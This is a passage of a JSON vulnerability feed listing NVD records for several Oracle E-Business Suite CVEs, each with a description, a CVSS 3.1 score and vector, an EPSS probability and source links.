CVE-2026-101853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101853","type":"primary","publishedAt":"2026-10-20T22:18:41.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101853&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101853, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101852","cveId":"CVE-2026-101852","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:41.177Z","updatedAt":"2026-10-24T04:18:16.370Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101852","asOf":"2026-10-24T04:18:16.370Z"},"epss":{"probability":0.00447,"percentile":0.38568,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101852&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101852","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101852","type":"primary","publishedAt":"2026-10-20T22:18:41.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101852&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101852, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101851","cveId":"CVE-2026-101851","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Data Provider UI).","summary":"Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Data Provider UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Installed Base.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Installed Base accessible data as well as  unauthorized update, insert or delete access to some of Installed Base accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Data Provider UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Installed Base.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Installed Base accessible data as well as  unauthorized update, insert or delete access to some of Installed Base accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:41.057Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101851","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.0023,"percentile":0.1371,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101851","type":"primary","publishedAt":"2026-10-20T22:18:41.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101849","cveId":"CVE-2026-101849","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Create Item Instance).","summary":"Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Create Item Instance).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Installed Base.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Installed Base, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Installed Base accessible data as well as  unauthorized update, insert or delete access to some of Installed Base accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).","detail":"Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Create Item Instance).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Installed Base.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Installed Base, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Installed Base accessible data as well as  unauthorized update, insert or delete access to some of Installed Base accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:40.833Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101849","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00268,"percentile":0.18737,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101849&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101849","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101849","type":"primary","publishedAt":"2026-10-20T22:18:40.833Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101849&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101849, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101847","cveId":"CVE-2026-101847","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  Successful attacks of this vulnerability can result in takeover of Oracle Bills of Material. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  Successful attacks of this vulnerability can result in takeover of Oracle Bills of Material. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:40.723Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101847","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00345,"percentile":0.27833,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101847","type":"primary","publishedAt":"2026-10-20T22:18:40.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101842","cveId":"CVE-2026-101842","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Strategic Network Optimization product of Oracle E-Business Suite (component: Installation of SNO).","summary":"Vulnerability in the Strategic Network Optimization product of Oracle E-Business Suite (component: Installation of SNO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Strategic Network Optimization.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Strategic Network Optimization. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Strategic Network Optimization product of Oracle E-Business Suite (component: Installation of SNO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Strategic Network Optimization.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Strategic Network Optimization. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:40.177Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101842","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00392,"percentile":0.33065,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101842&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101842","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101842","type":"primary","publishedAt":"2026-10-20T22:18:40.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101842&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101842, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101841","cveId":"CVE-2026-101841","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Global Order Promising product of Oracle E-Business Suite (component: Web Service).","summary":"Vulnerability in the Global Order Promising product of Oracle E-Business Suite (component: Web Service).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Global Order Promising.  While the vulnerability is in Global Order Promising, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Global Order Promising accessible data as well as  unauthorized access to critical data or complete access to all Global Order Promising accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Global Order Promising product of Oracle E-Business Suite (component: Web Service).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Global Order Promising.  While the vulnerability is in Global Order Promising, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Global Order Promising accessible data as well as  unauthorized access to critical data or complete access to all Global Order Promising accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:40.070Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101841","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00292,"percentile":0.21567,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101841&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101841","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101841","type":"primary","publishedAt":"2026-10-20T22:18:40.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101841&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101841, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101840","cveId":"CVE-2026-101840","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).","summary":"Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in takeover of Oracle Contract Lifecycle Management for Public Sector. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in takeover of Oracle Contract Lifecycle Management for Public Sector. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:39.960Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101840","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00465,"percentile":0.4002,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101840&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101840","type":"primary","publishedAt":"2026-10-20T22:18:39.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101840&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101840, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101837","cveId":"CVE-2026-101837","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).","summary":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Shipping Execution.  While the vulnerability is in Oracle Shipping Execution, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Shipping Execution as well as  unauthorized update, insert or delete access to some of Oracle Shipping Execution accessible data and  unauthorized read access to a subset of Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H).","detail":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Shipping Execution.  While the vulnerability is in Oracle Shipping Execution, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Shipping Execution as well as  unauthorized update, insert or delete access to some of Oracle Shipping Execution accessible data and  unauthorized read access to a subset of Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:39.847Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101837","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00245,"percentile":0.1561,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101837","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101837","type":"primary","publishedAt":"2026-10-20T22:18:39.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101835","cveId":"CVE-2026-101835","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).","summary":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:39.623Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101835","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00398,"percentile":0.33729,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101835&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101835","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101835","type":"primary","publishedAt":"2026-10-20T22:18:39.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 